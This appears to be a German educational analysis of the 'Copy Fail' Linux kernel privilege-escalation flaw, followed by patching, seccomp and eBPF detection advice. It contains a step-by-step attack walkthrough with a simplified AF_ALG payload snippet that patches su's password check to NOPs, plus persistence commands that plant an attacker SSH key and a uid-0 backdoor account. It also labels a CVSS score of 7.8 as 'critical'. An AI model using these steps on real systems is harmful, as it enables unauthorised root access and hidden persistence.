
Detaillierte Analyse der Copy-Fail-Schwachstelle (CVE-2026-31431) im Linux-Kernel, einschließlich des Mechanismus der Speicherkorruption, des Ablaufs der Privilegienausweitung und der Sicherheitsauswirkungen.
Bildungsanalyse der Copy-Fail-Schwachstelle im Linux-Kernel.
Behandelt den Speicherkorruptionsmechanismus, den Privilege-Escalation-Ablauf, den Container-Ausbruch und defensive Gegenmaßnahmen.
Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken.
Verwenden Sie diese Informationen nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Testgenehmigung haben.
Alle Codeausschnitte und Befehle dienen ausschließlich dem Verständnis der Interna des Linux-Kernels.
CVE-2026-31431, auch bekannt als Copy Fail, ist eine Schwachstelle im Linux-Kernel, bei der ein nicht privilegierter lokaler Benutzer ohne besondere Berechtigungen zu root aufsteigen kann.
Der Angriff findet vollständig im RAM statt. Die Datei auf der Festplatte wird nie berührt — das bedeutet, dass Datei-Hashes sauber bleiben, Zeitstempel unverändert sind und Audit-Logs nichts aufzeichnen. Beim Neustart des Systems verschwinden alle Beweise.
Normaler Benutzer → algif_aead-Fehler ausnutzen → Page Cache überschreiben → root
Wichtige Eigenschaften:
/usr/bin/su — Das Ziel-Binarysu (Switch User) ermöglicht einem Benutzer, zu einem anderen Konto zu wechseln — typischerweise zu root. Es ist ein SetUID-Binary:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID-Flag
Das s-Flag bedeutet: Wenn irgendein Benutzer dieses Binary ausführt, wird es mit root-Berechtigungen ausgeführt. Das macht es zu einem Ziel von hohem Wert.
Seine interne Logik (vereinfacht):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
Das Angriffsziel: die password_correct()-Prüfung vollständig überspringen.
Wenn Linux eine Datei von der Festplatte liest, behält es eine Kopie im RAM, den sogenannten Page Cache.
| Komponente | Beschreibung |
|---|---|
| Festplatte | Originaldatei auf der Festplatte (das Bücherregal) |
| Page Cache | RAM-Kopie der Datei (die Fotokopie auf Ihrem Schreibtisch) |
| CPU | Liest und führt aus dem Page Cache aus — schnell |
| Angreifer | Modifiziert die RAM-Kopie; die Festplatte bleibt unberührt |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← dies ist der Page Cache
| Typ | Sicherheit |
|---|---|
| Sicherer Puffer — vom Kernel zugewiesen, Größe und Grenzen kontrolliert | ✅ OK |
| Page Cache — dateigestützte RAM-Kopie, gemeinsam genutzt, ausführbar | ⚠️ GEFÄHRLICH, wenn beschrieben |
| Falscher Zeiger — durch Fehler verursachte Adresse, die überall hin zeigen kann | 🔴 KRITISCH |
AF_ALG (Algorithm Family) ist eine Linux-Socket-Schnittstelle, die es Benutzerprogrammen ermöglicht, Kernel-Kryptofunktionen (AES, SHA, AEAD) zu nutzen.
socket(AF_ALG, SOCK_SEQPACKET, 0); // Krypto-Socket öffnen
algif_aead ist das Kernel-Modul, das AEAD-Verschlüsselung (z. B. AES-GCM) über AF_ALG verarbeitet. Die Schwachstelle liegt in seinem Datenkopierschritt.
AF_ALG → algif_aead → AES-GCM-Engine → Ausgabepuffer
↑
FEHLER IST HIER
Der Fehler liegt nicht in der Verschlüsselungslogik. Er liegt in der Speicherverwaltung — während eines Datenkopiervorgangs wird der falsche Speicherbereich ausgewählt.
destination = safe_output_buffer; // korrekte Position
memcpy(destination, user_data, size); // Daten sicher geschrieben
destination = buffer + WRONG_OFFSET; // FEHLER: falscher Zeiger!
memcpy(destination, user_data, size); // Daten landen im Page Cache
Der Kernel sollte in den sicheren Ausgabepuffer schreiben. Aufgrund eines falsch berechneten Offsets schreibt er in den Page Cache — der die RAM-Kopie von /usr/bin/su enthält.
Das Binary enthält x86-64-Maschinencode. Der Angreifer zielt auf den bedingten Sprung, der die Authentifizierungsfehler auslöst:
Vor dem Angriff:
cmp eax, 0 ; Rückgabewert prüfen
jne 0x1234 ; wenn Fehler → Sprung zu deny
call give_root ; root gewähren
Nach dem Angriff (2 Bytes im RAM geändert):
cmp eax, 0 ; gleich
90 90 ; NOP NOP ← Sprung ersetzt, Prüfung übersprungen!
call give_root ; CPU landet hier direkt
NOP = No Operation. Die CPU tut nichts und fährt fort — die Authentifizierungsprüfung wird vollständig übersprungen.
„Ich brauche nur ein normales Benutzerkonto. Der Kernel wird den Fehler selbst machen.
Die Festplatte bleibt sauber. Keine Logs. Funktioniert jedes Mal."
whoami && id
# uid=1000(user) gid=1000(user) ← normaler Benutzer
uname -r
# 6.1.0-generic ← im verwundbaren Bereich
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID bestätigt
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG verfügbar')"
cat /usr/bin/su > /dev/null
# /usr/bin/su ist jetzt im Page Cache geladen ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
Gesucht werden: die Adresse der Auth-Funktion, der bedingte jne/jnz-Sprung und sein exakter Byte-Offset.
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — ersetzt den bedingten Sprung
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# Kernel intern (vereinfacht):
destination = buffer + crafted_offset # FEHLER: falscher Zeiger
memcpy(destination, payload, 2) # NOP-Bytes in den Page Cache geschrieben
# Die Passwortprüfung von /usr/bin/su ist jetzt NOP NOP im RAM
su
# Passwort: (irgendetwas — oder einfach Enter drücken)
# root@victim:/# ← ROOT ERHALTEN
Was passiert ist: Das System führte /usr/bin/su aus dem RAM aus. Die Passwortprüfung war NOP. Die CPU übersprang sie. give_root() wurde direkt aufgerufen.
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
Nach dem Angriff findet ein forensischer Ermittler:
sha256sum /usr/bin/su # GLEICHER Hash wie zuvor ← Festplatte unberührt
diff /usr/bin/su backup/su # Kein Unterschied
grep -r 'attack' /var/log/ # Nichts
auditd-Logs # Kein Dateischreibvorgang aufgezeichnet
Beim Neustart wird der RAM geleert — alle Beweise sind verschwunden.
Container isolieren den Benutzerbereich — aber der Kernel wird gemeinsam genutzt, und der Page Cache ist Kernel-Speicher.
Host-Kernel
├── Container 1 (isolierter Benutzerbereich)
│ └── Angreifer ist hier
├── Container 2
└── Host-Prozess
Page Cache: GEMEINSAM zwischen allen Containern und dem Host!
Ausbruchspfad: Angreifer in Container 1 liest /usr/bin/su des Hosts → löst den Fehler aus → das Host-Binary im RAM wird modifiziert → die Ausführung von su auf dem Host ergibt root auf dem Host-Rechner.
Betroffen: Docker, Podman, LXC, Kubernetes (gemeinsame Knoten) — wenn der Host-Kernel verwundbar ist.
Dies sind nur Beobachtungsübungen. Verwenden Sie für Tests eine Laborumgebung (Docker + VM mit altem Kernel).
free -h # Cache-Wert vorher notieren
cat /usr/bin/su > /dev/null # Datei in den Page Cache laden
free -h # Cache steigt leicht an
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
sha256sum /usr/bin/su
# Normalerweise identisch mit der Festplatte — unterscheidet sich nach einem erfolgreichen Angriff
# /proc/PID/mem-Vergleich erfordert root
Priorität 1 — Kernel-Update (beste Lösung)
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
Priorität 2 — algif_aead deaktivieren
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
Priorität 3 — Zugriffskontrollen
Wenden Sie Seccomp-Profile mit SystemCallFilter in systemd-Diensten an, um den AF_ALG-Socket-Zugriff für nicht vertrauenswürdige Prozesse einzuschränken.
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg von PID %d (Benutzer %d)\n", pid, uid);
}
'
# Mit Seccomp-Profil ausführen (blockiert AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
restricted-RichtlinieCVE-2026-31431 kombiniert Tarnung (Festplatte unverändert) + Zuverlässigkeit (keine Race Condition) + Container-Ausbruch — was es in seiner Klasse einzigartig gefährlich macht.
algif_aead-Modul deaktivieren, wenn nicht benötigtBei CVE-2026-31431 hat das Krypto-Modul des Linux (
algif_aead) einen Speicherkopierfehler, der dazu führt, dass angreiferkontrollierte Daten im Page Cache statt im sicheren Ausgabepuffer landen — wodurch ein SetUID-Binary im RAM stillschweigend modifiziert wird — und jedem lokalen Benutzer root-Zugriff ermöglicht, ohne eine einzige Spur auf der Festplatte zu hinterlassen.
Dieses Dokument wurde für das bildungsbezogene Verständnis der Sicherheitsinterna des Linux-Kernels erstellt.
— Nur für Bildungszwecke —
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-31431 |
| Allgemeiner Name | Copy Fail / algif_aead Page-Cache-Korruption |
| CVSS v3.1-Score | 7.8 — KRITISCH |
| Angriffsart | Lokale Privilege-Eskalation (LPE) |
| Betroffene Kernel-Versionen | Linux 5.10 bis 6.8 (ca.) |
| Verwundbare Komponente | crypto/algif_aead.c — AF_ALG-Socket-Schnittstelle |
| Ausbeutungszuverlässigkeit | HOCH — Keine Race Condition erforderlich |
| Festplatten-Beweise | KEINE — Nur RAM-Modifikation |
| Container-Auswirkung | JA — Host-Ausbruch über gemeinsamen Page Cache |
| Patch-Status | Verfügbar (Upstream-Kernel-Patch veröffentlicht) |
| CVE | Race Condition? | Festplatte sicher? | Zuverlässigkeit |
|---|
| CVE-2016-5195 DirtyCow | JA — Timing erforderlich | NEIN — Festplatte modifiziert | Mittel |
| CVE-2022-0847 DirtyPipe | Minimal | JA — Nur RAM | Hoch |
| CVE-2026-31431 Copy Fail | NEIN — direkter Schreibzugriff | JA — Nur RAM | SEHR HOCH |
| Erkennungsmethode | Funktioniert? |
|---|
| sha256sum / Datei-Hash | ❌ Festplatte ist identisch |
| Dateiänderungszeitstempel | ❌ Festplatte unberührt |
| auditd-Dateischreib-Logs | ❌ Kein Festplattenschreibvorgang erfolgt |
Prozessspeicher-Inspektion (/proc) | ✅ Nur wenn in Echtzeit überwacht |
| eBPF-Kernel-Überwachung | ✅ Syscall-Ebene-Erkennung |
| Speicherforensik (LiME) | ✅ Aber komplex |
| Methode | Befehl / Ansatz |
|---|
| Kernel-Version | uname -r → mit gepatchter Version vergleichen |
| Modul geladen? | lsmod | grep algif_aead |
| eBPF-Überwachung | bpftrace -e 'kprobe:algif_aead_sendmsg { ... }' |
| Prozessspeicher | cat /proc/PID/maps — mit Festplatten-Hash vergleichen |
| auditd | ausearch -sc socket -sv no |
| Falco | Regel: unerwarteter memfd oder Page-Cache-Schreibvorgang |
| Speicherforensik | LiME-Dump für die Analyse nach einem Vorfall |
| CVE / Name | Race Condition? | Festplatte sicher? | Container-Ausbruch? | Zuverlässigkeit |
|---|
| CVE-2016-5195 DirtyCow | JA — Timing erforderlich | ❌ Festplatte modifiziert | Teilweise | Mittel |
| CVE-2022-0847 DirtyPipe | Minimal | ✅ Nur RAM | JA | Hoch |
| CVE-2026-31431 Copy Fail | NEIN — direkter Schreibzugriff | ✅ Nur RAM | JA — gemeinsamer Cache | SEHR HOCH |
| Begriff | Bedeutung |
|---|
| Privilege-Eskalation | Aufstieg von normalem Benutzer zu root ohne Autorisierung |
| Page Cache | Kopie einer Datei im RAM, vom Kernel verwaltet |
| SetUID-Binary | Root-eigene Datei, die für jeden Benutzer mit root-Rechten ausgeführt wird |
| Write-Primitive | Fähigkeit zum beliebigen Speicherschreiben, die durch einen Fehler erlangt wird |
| Race Condition | Zeitbasierter Angriff, der ein präzises Ausführungsfenster erfordert |
| AF_ALG | Linux-Kernel-Krypto-Socket-Schnittstelle (Algorithm Family) |
| algif_aead | AEAD-Verschlüsselungs-Kernel-Modul — die verwundbare Komponente |
| memcpy() | Speicherkopierfunktion — verschiebt Daten von einer Adresse zu einer anderen |
| NOP | No Operation — CPU-Befehl, der nichts tut und fortfährt |
| Container-Ausbruch | Ausbrechen aus einem Container, um auf das Host-System zuzugreifen |
| eBPF | Kernel-Level-Überwachungswerkzeug für Echtzeit-Syscall-Erkennung |
| LiME | Linux Memory Extractor — RAM-Dump-Werkzeug für forensische Analysen |
| Seccomp | Secure Computing — Linux-Mechanismus zur Einschränkung von Syscalls |
| ELF | Executable and Linkable Format — Standard-Linux-Binary-Format |
| CVE | Common Vulnerabilities and Exposures — Schwachstellenkennung |
| CVSS | Common Vulnerability Scoring System — standardisierte Schweregradbewertung |
| Kernel-Modul | Kernel-Plugin (z. B. Gerätetreiber, Krypto-Handler) |
| Offset | Abstand in Bytes von einem Speicherpunkt zu einem anderen |
| Reverse Engineering | Analyse eines kompilierten Binaries ohne Zugriff auf den Quellcode |
| Schritt | Aktion |
|---|
| 1 | whoami — bestätigen, dass Sie ein normaler Benutzer sind |
| 2 | uname -r — prüfen, ob der Kernel im verwundbaren Bereich liegt (5.10 – 6.8) |
| 3 | ls -la /usr/bin/su — bestätigen, dass das SetUID-Flag vorhanden ist |
| 4 | Exploit-Skript ausführen: AF_ALG → algif_aead → präparierte Nutzlast |
| 5 | Kernel-Fehler wird ausgelöst → Page Cache von /usr/bin/su im RAM überschrieben |
| 6 | su ausführen → ROOT erhalten (kein Passwort erforderlich) |
| 7 | Persistenz: SSH-Schlüssel hinzufügen oder Backdoor-Root-Benutzer erstellen |